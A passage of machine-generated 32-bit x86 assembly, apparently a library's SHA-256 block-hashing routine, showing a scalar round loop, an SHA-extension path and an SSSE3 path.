add edx,DWORD PTR 24[esp]
add eax,esi
mov esi,DWORD PTR 80[esp]
mov ebx,ecx
ror ecx,11
mov edi,esi
ror esi,2
xor ecx,ebx
shr ebx,3
ror ecx,7
xor esi,edi
xor ebx,ecx
ror esi,17
add ebx,DWORD PTR 88[esp]
shr edi,10
add ebx,DWORD PTR 60[esp]
mov ecx,edx
xor edi,esi
mov esi,DWORD PTR 28[esp]
ror edx,14
add ebx,edi
mov edi,DWORD PTR [esp]
xor edx,ecx
xor esi,edi
ror edx,5
and esi,ecx
mov DWORD PTR 24[esp],ecx
xor edx,ecx
add ebx,DWORD PTR 4[esp]
xor edi,esi
ror edx,6
mov ecx,eax
add ebx,edi
ror ecx,9
mov esi,eax
mov edi,DWORD PTR 12[esp]
xor ecx,eax
mov DWORD PTR 8[esp],eax
xor eax,edi
ror ecx,11
and ebp,eax
lea edx,DWORD PTR 3204031479[edx*1+ebx]
xor ecx,esi
xor ebp,edi
mov esi,DWORD PTR 32[esp]
ror ecx,2
add ebp,edx
add edx,DWORD PTR 20[esp]
add ebp,ecx
mov ecx,DWORD PTR 84[esp]
mov ebx,esi
ror esi,11
mov edi,ecx
ror ecx,2
xor esi,ebx
shr ebx,3
ror esi,7
xor ecx,edi
xor ebx,esi
ror ecx,17
add ebx,DWORD PTR 92[esp]
shr edi,10
add ebx,DWORD PTR 64[esp]
mov esi,edx
xor edi,ecx
mov ecx,DWORD PTR 24[esp]
ror edx,14
add ebx,edi
mov edi,DWORD PTR 28[esp]
xor edx,esi
xor ecx,edi
ror edx,5
and ecx,esi
mov DWORD PTR 20[esp],esi
xor edx,esi
add ebx,DWORD PTR [esp]
xor edi,ecx
ror edx,6
mov esi,ebp
add ebx,edi
ror esi,9
mov ecx,ebp
mov edi,DWORD PTR 8[esp]
xor esi,ebp
mov DWORD PTR 4[esp],ebp
xor ebp,edi
ror esi,11
and eax,ebp
lea edx,DWORD PTR 3329325298[edx*1+ebx]
xor esi,ecx
xor eax,edi
ror esi,2
add eax,edx
add edx,DWORD PTR 16[esp]
add eax,esi
mov esi,DWORD PTR 96[esp]
xor ebp,edi
mov ecx,DWORD PTR 12[esp]
add eax,DWORD PTR [esi]
add ebp,DWORD PTR 4[esi]
add edi,DWORD PTR 8[esi]
add ecx,DWORD PTR 12[esi]
mov DWORD PTR [esi],eax
mov DWORD PTR 4[esi],ebp
mov DWORD PTR 8[esi],edi
mov DWORD PTR 12[esi],ecx
mov DWORD PTR 4[esp],ebp
xor ebp,edi
mov DWORD PTR 8[esp],edi
mov DWORD PTR 12[esp],ecx
mov edi,DWORD PTR 20[esp]
mov ebx,DWORD PTR 24[esp]
mov ecx,DWORD PTR 28[esp]
add edx,DWORD PTR 16[esi]
add edi,DWORD PTR 20[esi]
add ebx,DWORD PTR 24[esi]
add ecx,DWORD PTR 28[esi]
mov DWORD PTR 16[esi],edx
mov DWORD PTR 20[esi],edi
mov DWORD PTR 24[esi],ebx
mov DWORD PTR 28[esi],ecx
mov DWORD PTR 20[esp],edi
mov edi,DWORD PTR 100[esp]
mov DWORD PTR 24[esp],ebx
mov DWORD PTR 28[esp],ecx
cmp edi,DWORD PTR 104[esp]
jb $L009grand_loop
mov esp,DWORD PTR 108[esp]
pop edi
pop esi
pop ebx
pop ebp
ret
ALIGN 32
$L004shaext:
sub esp,32
movdqu xmm1,XMMWORD PTR [esi]
lea ebp,DWORD PTR 128[ebp]
movdqu xmm2,XMMWORD PTR 16[esi]
movdqa xmm7,XMMWORD PTR 128[ebp]
pshufd xmm0,xmm1,27
pshufd xmm1,xmm1,177
pshufd xmm2,xmm2,27
DB 102,15,58,15,202,8
punpcklqdq xmm2,xmm0
jmp $L010loop_shaext
ALIGN 16
$L010loop_shaext:
movdqu xmm3,XMMWORD PTR [edi]
movdqu xmm4,XMMWORD PTR 16[edi]
movdqu xmm5,XMMWORD PTR 32[edi]
DB 102,15,56,0,223
movdqu xmm6,XMMWORD PTR 48[edi]
movdqa XMMWORD PTR 16[esp],xmm2
movdqa xmm0,XMMWORD PTR [ebp-128]
paddd xmm0,xmm3
DB 102,15,56,0,231
DB 15,56,203,209
pshufd xmm0,xmm0,14
nop
movdqa XMMWORD PTR [esp],xmm1
DB 15,56,203,202
movdqa xmm0,XMMWORD PTR [ebp-112]
paddd xmm0,xmm4
DB 102,15,56,0,239
DB 15,56,203,209
pshufd xmm0,xmm0,14
lea edi,DWORD PTR 64[edi]
DB 15,56,204,220
DB 15,56,203,202
movdqa xmm0,XMMWORD PTR [ebp-96]
paddd xmm0,xmm5
DB 102,15,56,0,247
DB 15,56,203,209
pshufd xmm0,xmm0,14
movdqa xmm7,xmm6
DB 102,15,58,15,253,4
nop
paddd xmm3,xmm7
DB 15,56,204,229
DB 15,56,203,202
movdqa xmm0,XMMWORD PTR [ebp-80]
paddd xmm0,xmm6
DB 15,56,205,222
DB 15,56,203,209
pshufd xmm0,xmm0,14
movdqa xmm7,xmm3
DB 102,15,58,15,254,4
nop
paddd xmm4,xmm7
DB 15,56,204,238
DB 15,56,203,202
movdqa xmm0,XMMWORD PTR [ebp-64]
paddd xmm0,xmm3
DB 15,56,205,227
DB 15,56,203,209
pshufd xmm0,xmm0,14
movdqa xmm7,xmm4
DB 102,15,58,15,251,4
nop
paddd xmm5,xmm7
DB 15,56,204,243
DB 15,56,203,202
movdqa xmm0,XMMWORD PTR [ebp-48]
paddd xmm0,xmm4
DB 15,56,205,236
DB 15,56,203,209
pshufd xmm0,xmm0,14
movdqa xmm7,xmm5
DB 102,15,58,15,252,4
nop
paddd xmm6,xmm7
DB 15,56,204,220
DB 15,56,203,202
movdqa xmm0,XMMWORD PTR [ebp-32]
paddd xmm0,xmm5
DB 15,56,205,245
DB 15,56,203,209
pshufd xmm0,xmm0,14
movdqa xmm7,xmm6
DB 102,15,58,15,253,4
nop
paddd xmm3,xmm7
DB 15,56,204,229
DB 15,56,203,202
movdqa xmm0,XMMWORD PTR [ebp-16]
paddd xmm0,xmm6
DB 15,56,205,222
DB 15,56,203,209
pshufd xmm0,xmm0,14
movdqa xmm7,xmm3
DB 102,15,58,15,254,4
nop
paddd xmm4,xmm7
DB 15,56,204,238
DB 15,56,203,202
movdqa xmm0,XMMWORD PTR [ebp]
paddd xmm0,xmm3
DB 15,56,205,227
DB 15,56,203,209
pshufd xmm0,xmm0,14
movdqa xmm7,xmm4
DB 102,15,58,15,251,4
nop
paddd xmm5,xmm7
DB 15,56,204,243
DB 15,56,203,202
movdqa xmm0,XMMWORD PTR 16[ebp]
paddd xmm0,xmm4
DB 15,56,205,236
DB 15,56,203,209
pshufd xmm0,xmm0,14
movdqa xmm7,xmm5
DB 102,15,58,15,252,4
nop
paddd xmm6,xmm7
DB 15,56,204,220
DB 15,56,203,202
movdqa xmm0,XMMWORD PTR 32[ebp]
paddd xmm0,xmm5
DB 15,56,205,245
DB 15,56,203,209
pshufd xmm0,xmm0,14
movdqa xmm7,xmm6
DB 102,15,58,15,253,4
nop
paddd xmm3,xmm7
DB 15,56,204,229
DB 15,56,203,202
movdqa xmm0,XMMWORD PTR 48[ebp]
paddd xmm0,xmm6
DB 15,56,205,222
DB 15,56,203,209
pshufd xmm0,xmm0,14
movdqa xmm7,xmm3
DB 102,15,58,15,254,4
nop
paddd xmm4,xmm7
DB 15,56,204,238
DB 15,56,203,202
movdqa xmm0,XMMWORD PTR 64[ebp]
paddd xmm0,xmm3
DB 15,56,205,227
DB 15,56,203,209
pshufd xmm0,xmm0,14
movdqa xmm7,xmm4
DB 102,15,58,15,251,4
nop
paddd xmm5,xmm7
DB 15,56,204,243
DB 15,56,203,202
movdqa xmm0,XMMWORD PTR 80[ebp]
paddd xmm0,xmm4
DB 15,56,205,236
DB 15,56,203,209
pshufd xmm0,xmm0,14
movdqa xmm7,xmm5
DB 102,15,58,15,252,4
DB 15,56,203,202
paddd xmm6,xmm7
movdqa xmm0,XMMWORD PTR 96[ebp]
paddd xmm0,xmm5
DB 15,56,203,209
pshufd xmm0,xmm0,14
DB 15,56,205,245
movdqa xmm7,XMMWORD PTR 128[ebp]
DB 15,56,203,202
movdqa xmm0,XMMWORD PTR 112[ebp]
paddd xmm0,xmm6
nop
DB 15,56,203,209
pshufd xmm0,xmm0,14
cmp eax,edi
nop
DB 15,56,203,202
paddd xmm2,XMMWORD PTR 16[esp]
paddd xmm1,XMMWORD PTR [esp]
jnz $L010loop_shaext
pshufd xmm2,xmm2,177
pshufd xmm7,xmm1,27
pshufd xmm1,xmm1,177
punpckhqdq xmm1,xmm2
DB 102,15,58,15,215,8
mov esp,DWORD PTR 44[esp]
movdqu XMMWORD PTR [esi],xmm1
movdqu XMMWORD PTR 16[esi],xmm2
pop edi
pop esi
pop ebx
pop ebp
ret
ALIGN 32
$L005SSSE3:
lea esp,DWORD PTR [esp-96]
mov eax,DWORD PTR [esi]
mov ebx,DWORD PTR 4[esi]
mov ecx,DWORD PTR 8[esi]
mov edi,DWORD PTR 12[esi]
mov DWORD PTR 4[esp],ebx
xor ebx,ecx
mov DWORD PTR 8[esp],ecx
mov DWORD PTR 12[esp],edi
mov edx,DWORD PTR 16[esi]
mov edi,DWORD PTR 20[esi]
mov ecx,DWORD PTR 24[esi]
mov esi,DWORD PTR 28[esi]
mov DWORD PTR 20[esp],edi
mov edi,DWORD PTR 100[esp]
mov DWORD PTR 24[esp],ecx
mov DWORD PTR 28[esp],esi
movdqa xmm7,XMMWORD PTR 256[ebp]
jmp $L011grand_ssse3
ALIGN 16
$L011grand_ssse3:
movdqu xmm0,XMMWORD PTR [edi]
movdqu xmm1,XMMWORD PTR 16[edi]
movdqu xmm2,XMMWORD PTR 32[edi]
movdqu xmm3,XMMWORD PTR 48[edi]
add edi,64
DB 102,15,56,0,199
mov DWORD PTR 100[esp],edi
DB 102,15,56,0,207
movdqa xmm4,XMMWORD PTR [ebp]
DB 102,15,56,0,215
movdqa xmm5,XMMWORD PTR 16[ebp]
paddd xmm4,xmm0
DB 102,15,56,0,223
movdqa xmm6,XMMWORD PTR 32[ebp]
paddd xmm5,xmm1
movdqa xmm7,XMMWORD PTR 48[ebp]
movdqa XMMWORD PTR 32[esp],xmm4
paddd xmm6,xmm2
movdqa XMMWORD PTR 48[esp],xmm5
paddd xmm7,xmm3
movdqa XMMWORD PTR 64[esp],xmm6
movdqa XMMWORD PTR 80[esp],xmm7
jmp $L012ssse3_00_47
ALIGN 16
$L012ssse3_00_47:
add ebp,64
mov ecx,edx
movdqa xmm4,xmm1
ror edx,14
mov esi,DWORD PTR 20[esp]
movdqa xmm7,xmm3
xor edx,ecx
mov edi,DWORD PTR 24[esp]
DB 102,15,58,15,224,4
xor esi,edi
ror edx,5
and esi,ecx
DB 102,15,58,15,250,4
mov DWORD PTR 16[esp],ecx
xor edx,ecx
xor edi,esi
movdqa xmm5,xmm4
ror edx,6
mov ecx,eax
movdqa xmm6,xmm4
add edx,edi
mov edi,DWORD PTR 4[esp]
psrld xmm4,3
mov esi,eax
ror ecx,9
paddd xmm0,xmm7
mov DWORD PTR [esp],eax
xor ecx,eax
psrld xmm6,7
xor eax,edi
add edx,DWORD PTR 28[esp]
ror ecx,11
and ebx,eax
pshufd xmm7,xmm3,250
xor ecx,esi
add edx,DWORD PTR 32[esp]
pslld xmm5,14
xor ebx,edi
ror ecx,2
pxor xmm4,xmm6
add ebx,edx
add edx,DWORD PTR 12[esp]
psrld xmm6,11
add ebx,ecx
mov ecx,edx
ror edx,14
pxor xmm4,xmm5
mov esi,DWORD PTR 16[esp]
xor edx,ecx
pslld xmm5,11
mov edi,DWORD PTR 20[esp]
xor esi,edi
ror edx,5
pxor xmm4,xmm6
and esi,ecx
mov DWORD PTR 12[esp],ecx
movdqa xmm6,xmm7
xor edx,ecx
xor edi,esi
ror edx,6
pxor xmm4,xmm5
mov ecx,ebx
add edx,edi
psrld xmm7,10
mov edi,DWORD PTR [esp]
mov esi,ebx
ror ecx,9
paddd xmm0,xmm4
mov DWORD PTR 28[esp],ebx
xor ecx,ebx
psrlq xmm6,17
xor ebx,edi
add edx,DWORD PTR 24[esp]
ror ecx,11
pxor xmm7,xmm6
and eax,ebx
xor ecx,esi
psrlq xmm6,2
add edx,DWORD PTR 36[esp]
xor eax,edi
ror ecx,2
pxor xmm7,xmm6
add eax,edx
add edx,DWORD PTR 8[esp]
pshufd xmm7,xmm7,128
add eax,ecx
mov ecx,edx
ror edx,14
mov esi,DWORD PTR 12[esp]
xor edx,ecx
mov edi,DWORD PTR 16[esp]
xor esi,edi
ror edx,5
and esi,ecx
psrldq xmm7,8
mov DWORD PTR 8[esp],ecx
xor edx,ecx
xor edi,esi
paddd xmm0,xmm7
ror edx,6
mov ecx,eax
add edx,edi
mov edi,DWORD PTR 28[esp]
mov esi,eax
ror ecx,9
mov DWORD PTR 24[esp],eax
pshufd xmm7,xmm0,80
xor ecx,eax
xor eax,edi
add edx,DWORD PTR 20[esp]
movdqa xmm6,xmm7
ror ecx,11
psrld xmm7,10
and ebx,eax
psrlq xmm6,17
xor ecx,esi
add edx,DWORD PTR 40[esp]
xor ebx,edi
ror ecx,2
pxor xmm7,xmm6
add ebx,edx
add edx,DWORD PTR 4[esp]
psrlq xmm6,2
add ebx,ecx
mov ecx,edx
ror edx,14
pxor xmm7,xmm6
mov esi,DWORD PTR 8[esp]
xor edx,ecx
mov edi,DWORD PTR 12[esp]
pshufd xmm7,xmm7,8
xor esi,edi
ror edx,5
movdqa xmm6,XMMWORD PTR [ebp]
and esi,ecx
mov DWORD PTR 4[esp],ecx
pslldq xmm7,8
xor edx,ecx
xor edi,esi
ror edx,6
mov ecx,ebx
add edx,edi
mov edi,DWORD PTR 24[esp]
mov esi,ebx
ror ecx,9
paddd xmm0,xmm7
mov DWORD PTR 20[esp],ebx
xor ecx,ebx
xor ebx,edi
add edx,DWORD PTR 16[esp]
paddd xmm6,xmm0
ror ecx,11
and eax,ebx
xor ecx,esi
add edx,DWORD PTR 44[esp]
xor eax,edi
ror ecx,2
add eax,edx
add edx,DWORD PTR [esp]
add eax,ecx
movdqa XMMWORD PTR 32[esp],xmm6
mov ecx,edx
movdqa xmm4,xmm2
ror edx,14
mov esi,DWORD PTR 4[esp]
movdqa xmm7,xmm0
xor edx,ecx
mov edi,DWORD PTR 8[esp]
DB 102,15,58,15,225,4
xor esi,edi
ror edx,5
and esi,ecx
DB 102,15,58,15,251,4
mov DWORD PTR [esp],ecx
xor edx,ecx
xor edi,esi
movdqa xmm5,xmm4
ror edx,6
mov ecx,eax
movdqa xmm6,xmm4
add edx,edi
mov edi,DWORD PTR 20[esp]
psrld xmm4,3
mov esi,eax
ror ecx,9
paddd xmm1,xmm7
mov DWORD PTR 16[esp],eax
xor ecx,eax
psrld xmm6,7
xor eax,edi
add edx,DWORD PTR 12[esp]
ror ecx,11
and ebx,eax
pshufd xmm7,xmm0,250
xor ecx,esi
add edx,DWORD PTR 48[esp]
pslld xmm5,14
xor ebx,edi
ror ecx,2
pxor xmm4,xmm6
add ebx,edx
add edx,DWORD PTR 28[esp]
psrld xmm6,11
add ebx,ecx
mov ecx,edx
ror edx,14
pxor xmm4,xmm5
mov esi,DWORD PTR [esp]
xor edx,ecx
pslld xmm5,11
mov edi,DWORD PTR 4[esp]
xor esi,edi
ror edx,5
pxor xmm4,xmm6
and esi,ecx
mov DWORD PTR 28[esp],ecx
movdqa xmm6,xmm7
xor edx,ecx
xor edi,esi
ror edx,6
pxor xmm4,xmm5
mov ecx,ebx
add edx,edi
psrld xmm7,10
mov edi,DWORD PTR 16[esp]
mov esi,ebx
ror ecx,9
paddd xmm1,xmm4
mov DWORD PTR 12[esp],ebx
xor ecx,ebx
psrlq xmm6,17
xor ebx,edi
add edx,DWORD PTR 8[esp]
ror ecx,11
pxor xmm7,xmm6
and eax,ebx
xor ecx,esi
psrlq xmm6,2
add edx,DWORD PTR 52[esp]
xor eax,edi
ror ecx,2
pxor xmm7,xmm6
add eax,edx
add edx,DWORD PTR 24[esp]
pshufd xmm7,xmm7,128
add eax,ecx
mov ecx,edx
ror edx,14
mov esi,DWORD PTR 28[esp]
xor edx,ecx
mov edi,DWORD PTR [esp]
xor esi,edi
ror edx,5
and esi,ecx
psrldq xmm7,8
mov DWORD PTR 24[esp],ecx
xor edx,ecx
xor edi,esi
paddd xmm1,xmm7
ror edx,6
mov ecx,eax
add edx,edi
mov edi,DWORD PTR 12[esp]
mov esi,eax
ror ecx,9
mov DWORD PTR 8[esp],eax
pshufd xmm7,xmm1,80
xor ecx,eax
xor eax,edi
add edx,DWORD PTR 4[esp]
movdqa xmm6,xmm7
ror ecx,11
psrld xmm7,10
and ebx,eax
psrlq xmm6,17
xor ecx,esi
add edx,DWORD PTR 56[esp]
xor ebx,edi
ror ecx,2
pxor xmm7,xmm6
add ebx,edx
add edx,DWORD PTR 20[esp]
psrlq xmm6,2
add ebx,ecx
mov ecx,edx
ror edx,14
pxor xmm7,xmm6
mov esi,DWORD PTR 24[esp]
xor edx,ecx
mov edi,DWORD PTR 28[esp]
pshufd xmm7,xmm7,8
xor esi,edi
ror edx,5
movdqa xmm6,XMMWORD PTR 16[ebp]
and esi,ecx
mov DWORD PTR 20[esp],ecx
pslldq xmm7,8
xor edx,ecx
xor edi,esi
ror edx,6
mov ecx,ebx
add edx,edi
mov edi,DWORD PTR 8[esp]
mov esi,ebx
ror ecx,9
paddd xmm1,xmm7
mov DWORD PTR 4[esp],ebx
xor ecx,ebx
xor ebx,edi
add edx,DWORD PTR [esp]
paddd xmm6,xmm1
ror ecx,11
and eax,ebx
xor ecx,esi
add edx,DWORD PTR 60[esp]
xor eax,edi
ror ecx,2
add eax,edx
add edx,DWORD PTR 16[esp]
add eax,ecx
movdqa XMMWORD PTR 48[esp],xmm6
mov ecx,edx
movdqa xmm4,xmm3
ror edx,14
mov esi,DWORD PTR 20[esp]
movdqa xmm7,xmm1
xor edx,ecx
mov edi,DWORD PTR 24[esp]
DB 102,15,58,15,226,4
xor esi,edi
ror edx,5
and esi,ecx
DB 102,15,58,15,248,4
mov DWORD PTR 16[esp],ecx
xor edx,ecx
xor edi,esi
movdqa xmm5,xmm4
ror edx,6
mov ecx,eax
movdqa xmm6,xmm4
add edx,edi
mov edi,DWORD PTR 4[esp]
psrld xmm4,3
mov esi,eax
ror ecx,9
paddd xmm2,xmm7
mov DWORD PTR [esp],eax
xor ecx,eax
psrld xmm6,7
xor eax,edi
add edx,DWORD PTR 28[esp]
ror ecx,11
and ebx,eax
pshufd xmm7,xmm1,250
xor ecx,esi
add edx,DWORD PTR 64[esp]
pslld xmm5,14
xor ebx,edi
ror ecx,2
pxor xmm4,xmm6
add ebx,edx
add edx,DWORD PTR 12[esp]
psrld xmm6,11
add ebx,ecx
mov ecx,edx
ror edx,14
pxor xmm4,xmm5
mov esi,DWORD PTR 16[esp]
xor edx,ecx
pslld xmm5,11
mov edi,DWORD PTR 20[esp]
xor esi,edi
ror edx,5
pxor xmm4,xmm6
and esi,ecx
mov DWORD PTR 12[esp],ecx
movdqa xmm6,xmm7
xor edx,ecx
xor edi,esi
ror edx,6
pxor xmm4,xmm5
mov ecx,ebx
add edx,edi
psrld xmm7,10
mov edi,DWORD PTR [esp]
mov esi,ebx
ror ecx,9
paddd xmm2,xmm4
mov DWORD PTR 28[esp],ebx
xor ecx,ebx
psrlq xmm6,17
xor ebx,edi
add edx,DWORD PTR 24[esp]
ror ecx,11
pxor xmm7,xmm6
and eax,ebx
xor ecx,esi
psrlq xmm6,2
add edx,DWORD PTR 68[esp]
xor eax,edi
ror ecx,2
pxor xmm7,xmm6
add eax,edx
add edx,DWORD PTR 8[esp]
pshufd xmm7,xmm7,128
add eax,ecx
mov ecx,edx
ror edx,14
mov esi,DWORD PTR 12[esp]
xor edx,ecx
mov edi,DWORD PTR 16[esp]
xor esi,edi
ror edx,5
and esi,ecx
psrldq xmm7,8
mov DWORD PTR 8[esp],ecx
xor edx,ecx
xor edi,esi
paddd xmm2,xmm7
ror edx,6
mov ecx,eax
add edx,edi
mov edi,DWORD PTR 28[esp]
mov esi,eax
ror ecx,9
mov DWORD PTR 24[esp],eax
pshufd xmm7,xmm2,80
xor ecx,eax
xor eax,edi
add edx,DWORD PTR 20[esp]
movdqa xmm6,xmm7
ror ecx,11
psrld xmm7,10
and ebx,eax
psrlq xmm6,17
xor ecx,esi
add edx,DWORD PTR 72[esp]
xor ebx,edi
ror ecx,2
pxor xmm7,xmm6
add ebx,edx
add edx,DWORD PTR 4[esp]
psrlq xmm6,2
add ebx,ecx
mov ecx,edx
ror edx,14
pxor xmm7,xmm6
mov esi,DWORD PTR 8[esp]
xor edx,ecx
mov edi,DWORD PTR 12[esp]
pshufd xmm7,xmm7,8
xor esi,edi
ror edx,5
movdqa xmm6,XMMWORD PTR 32[ebp]
and esi,ecx
mov DWORD PTR 4[esp],ecx
pslldq xmm7,8
xor edx,ecx
xor edi,esi
ror edx,6
mov ecx,ebx
add edx,edi
mov edi,DWORD PTR 24[esp]
mov esi,ebx
ror ecx,9
paddd xmm2,xmm7
mov DWORD PTR 20[esp],ebx
xor ecx,ebx
xor ebx,edi
add edx,DWORD PTR 16[esp]
paddd xmm6,xmm2
ror ecx,11
and eax,ebx
xor ecx,esi
add edx,DWORD PTR 76[esp]
xor eax,edi
ror ecx,2
add eax,edx
add edx,DWORD PTR [esp]
add eax,ecx
movdqa XMMWORD PTR 64[esp],xmm6
mov ecx,edx
movdqa xmm4,xmm0
ror edx,14
mov esi,DWORD PTR 4[esp]
movdqa xmm7,xmm2
xor edx,ecx
mov edi,DWORD PTR 8[esp]
DB 102,15,58,15,227,4
xor esi,edi
ror edx,5
and esi,ecx
DB 102,15,58,15,249,4
mov DWORD PTR [esp],ecx
xor edx,ecx
xor edi,esi
movdqa xmm5,xmm4
ror edx,6
mov ecx,eax
movdqa xmm6,xmm4
add edx,edi
mov edi,DWORD PTR 20[esp]
psrld xmm4,3
mov esi,eax
ror ecx,9
paddd xmm3,xmm7
mov DWORD PTR 16[esp],eax
xor ecx,eax
psrld xmm6,7
xor eax,edi
add edx,DWORD PTR 12[esp]
ror ecx,11
and ebx,eax
pshufd xmm7,xmm2,250
xor ecx,esi
add edx,DWORD PTR 80[esp]
pslld xmm5,14
xor ebx,edi
ror ecx,2
pxor xmm4,xmm6
add ebx,edx
add edx,DWORD PTR 28[esp]
psrld xmm6,11
add ebx,ecx
mov ecx,edx
ror edx,14
pxor xmm4,xmm5
mov esi,DWORD PTR [esp]
xor edx,ecx
pslld xmm5,11
mov edi,DWORD PTR 4[esp]
xor esi,edi
ror edx,5
pxor xmm4,xmm6
and esi,ecx
mov DWORD PTR 28[esp],ecx
movdqa xmm6,xmm7
xor edx,ecx
xor edi,esi
ror edx,6
pxor xmm4,xmm5
mov ecx,ebx
add edx,edi
psrld xmm7,10
mov edi,DWORD PTR 16[esp]
mov esi,ebx
ror ecx,9
paddd xmm3,xmm4
mov DWORD PTR 12[esp],ebx
xor ecx,ebx
psrlq xmm6,17
xor ebx,edi
add edx,DWORD PTR 8[esp]
ror ecx,11
pxor xmm7,xmm6
and eax,ebx
xor ecx,esi
psrlq xmm6,2
add edx,DWORD PTR 84[esp]
xor eax,edi
ror ecx,2
pxor xmm7,xmm6
add eax,edx
add edx,DWORD PTR 24[esp]
pshufd xmm7,xmm7,128
add eax,ecx
mov ecx,edx
ror edx,14
mov esi,DWORD PTR 28[esp]
xor edx,ecx
mov edi,DWORD PTR [esp]
xor esi,edi
ror edx,5
and esi,ecx
psrldq xmm7,8
mov DWORD PTR 24[esp],ecx
xor edx,ecx
xor edi,esi
paddd xmm3,xmm7
ror edx,6
mov ecx,eax
add edx,edi
mov edi,DWORD PTR 12[esp]
mov esi,eax
ror ecx,9
mov DWORD PTR 8[esp],eax
pshufd xmm7,xmm3,80
xor ecx,eax
xor eax,edi
add edx,DWORD PTR 4[esp]
movdqa xmm6,xmm7
ror ecx,11
psrld xmm7,10
and ebx,eax
psrlq xmm6,17
xor ecx,esi
add edx,DWORD PTR 88[esp]
xor ebx,edi
ror ecx,2
pxor xmm7,xmm6
add ebx,edx
add edx,DWORD PTR 20[esp]
psrlq xmm6,2
add ebx,ecx
mov ecx,edx
ror edx,14
pxor xmm7,xmm6
mov esi,DWORD PTR 24[esp]
xor edx,ecx
mov edi,DWORD PTR 28[esp]
pshufd xmm7,xmm7,8
xor esi,edi
ror edx,5
movdqa xmm6,XMMWORD PTR 48[ebp]
and esi,ecx
mov DWORD PTR 20[esp],ecx
pslldq xmm7,8
xor edx,ecx
xor edi,esi
ror edx,6
mov ecx,ebx
add edx,edi
mov edi,DWORD PTR 8[esp]
mov esi,ebx
ror ecx,9
paddd xmm3,xmm7
mov DWORD PTR 4[esp],ebx
xor ecx,ebx
xor ebx,edi
add edx,DWORD PTR [esp]
paddd xmm6,xmm3
ror ecx,11
and eax,ebx
xor ecx,esi
add edx,DWORD PTR 92[esp]
xor eax,edi
ror ecx,2
add eax,edx
add edx,DWORD PTR 16[esp]
add eax,ecx
movdqa XMMWORD PTR 80[esp],xmm6
cmp DWORD PTR 64[ebp],66051
jne $L012ssse3_00_47
mov ecx,edx
ror edx,14
mov esi,DWORD PTR 20[esp]
xor edx,ecx
mov edi,DWORD PTR 24[esp]
xor esi,edi
ror edx,5
and esi,ecx
mov DWORD PTR 16[esp],ecx
xor edx,ecx
xor edi,esi
ror edx,6
mov ecx,eax
add edx,edi
mov edi,DWORD PTR 4[esp]
mov esi,eax
ror ecx,9
mov DWORD PTR [esp],eax
xor ecx,eax
xor eax,edi
add edx,DWORD PTR 28[esp]
ror ecx,11
and ebx,eax
xor ecx,esi
add edx,DWORD PTR 32[esp]
xor ebx,edi
ror ecx,2
add ebx,edx
add edx,DWORD PTR 12[esp]
add ebx,ecx
mov ecx,edx
ror edx,14
mov esi,DWORD PTR 16[esp]
xor edx,ecx
mov edi,DWORD PTR 20[esp]
xor esi,edi
ror edx,5
and esi,ecx
mov DWORD PTR 12[esp],ecx
xor edx,ecx
xor edi,esi
ror edx,6
mov ecx,ebx
add edx,edi
mov edi,DWORD PTR [esp]
mov esi,ebx
ror ecx,9
mov DWORD PTR 28[esp],ebx
xor ecx,ebx
xor ebx,edi
add edx,DWORD PTR 24[esp]
ror ecx,11
and eax,ebx
xor ecx,esi
add edx,DWORD PTR 36[esp]
xor eax,edi
ror ecx,2
add eax,edx
add edx,DWORD PTR 8[esp]
add eax,ecx
mov ecx,edx
ror edx,14
mov esi,DWORD PTR 12[esp]
xor edx,ecx
mov edi,DWORD PTR 16[esp]
xor esi,edi
ror edx,5
and esi,ecx
mov DWORD PTR 8[esp],ecx
xor edx,ecx
xor edi,esi
ror edx,6
mov ecx,eax
add edx,edi
mov edi,DWORD PTR 28[esp]
mov esi,eax
ror ecx,9
mov DWORD PTR 24[esp],eax
xor ecx,eax
xor eax,edi
add edx,DWORD PTR 20[esp]
ror ecx,11
and ebx,eax
xor ecx,esi
add edx,DWORD PTR 40[esp]
xor ebx,edi
ror ecx,2
add ebx,edx
add edx,DWORD PTR 4[esp]
add ebx,ecx
mov ecx,edx
ror edx,14
mov esi,DWORD PTR 8[esp]
xor edx,ecx
mov edi,DWORD PTR 12[esp]
xor esi,edi
ror edx,5
and esi,ecx
mov DWORD PTR 4[esp],ecx
xor edx,ecx
xor edi,esi
ror edx,6
mov ecx,ebx
add edx,edi
mov edi,DWORD PTR 24[esp]
mov esi,ebx
ror ecx,9
mov DWORD PTR 20[esp],ebx
xor ecx,ebx
xor ebx,edi
add edx,DWORD PTR 16[esp]
ror ecx,11
and eax,ebx
xor ecx,esi
add edx,DWORD PTR 44[esp]
xor eax,edi
ror ecx,2
add eax,edx
add edx,DWORD PTR [esp]
add eax,ecx
mov ecx,edx
ror edx,14
mov esi,DWORD PTR 4[esp]
xor edx,ecx
mov edi,DWORD PTR 8[esp]
xor esi,edi
ror edx,5
and esi,ecx
mov DWORD PTR [esp],ecx
xor edx,ecx
xor edi,esi
ror edx,6
mov ecx,eax
add edx,edi
mov edi,DWORD PTR 20[esp]
mov esi,eax
ror ecx,9
mov DWORD PTR 16[esp],eax
xor ecx,eax
xor eax,edi
add edx,DWORD PTR 12[esp]
ror ecx,11
and ebx,eax
xor ecx,esi
add edx,DWORD PTR 48[esp]
xor ebx,edi
ror ecx,2
add ebx,edx
add edx,DWORD PTR 28[esp]
add ebx,ecx
mov ecx,edx
ror edx,14
mov esi,DWORD PTR [esp]
xor edx,ecx
mov edi,DWORD PTR 4[esp]
xor esi,edi
ror edx,5
and esi,ecx
mov DWORD PTR 28[esp],ecx
xor edx,ecx
xor edi,esi
ror edx,6
mov ecx,ebx
add edx,edi
mov edi,DWORD PTR 16[esp]
mov esi,ebx
ror ecx,9
mov DWORD PTR 12[esp],ebx
xor ecx,ebx
xor ebx,edi
add edx,DWORD PTR 8[esp]
ror ecx,11
and eax,ebx
xor ecx,esi
add edx,DWORD PTR 52[esp]
xor eax,edi
ror ecx,2
add eax,edx
add edx,DWORD PTR 24[esp]
add eax,ecx
mov ecx,edx
ror edx,14
mov esi,DWORD PTR 28[esp]
xor edx,ecx
mov edi,DWORD PTR [esp]
xor esi,edi
ror edx,5
and esi,ecx
mov DWORD PTR 24[esp],ecx
xor edx,ecx
xor edi,esi
ror edx,6
mov ecx,eax
add edx,edi
mov edi,DWORD PTR 12[esp]
mov esi,eax
ror ecx,9
mov DWORD PTR 8[esp],eax
xor ecx,eax
xor eax,edi
add edx,DWORD PTR 4[esp]
ror ecx,11
and ebx,eax
xor ecx,esi
add edx,DWORD PTR 56[esp]
xor ebx,edi
ror ecx,2
add ebx,edx
add edx,DWORD PTR 20[esp]
add ebx,ecx
mov ecx,edx
ror edx,14
mov esi,DWORD PTR 24[esp]
xor edx,ecx
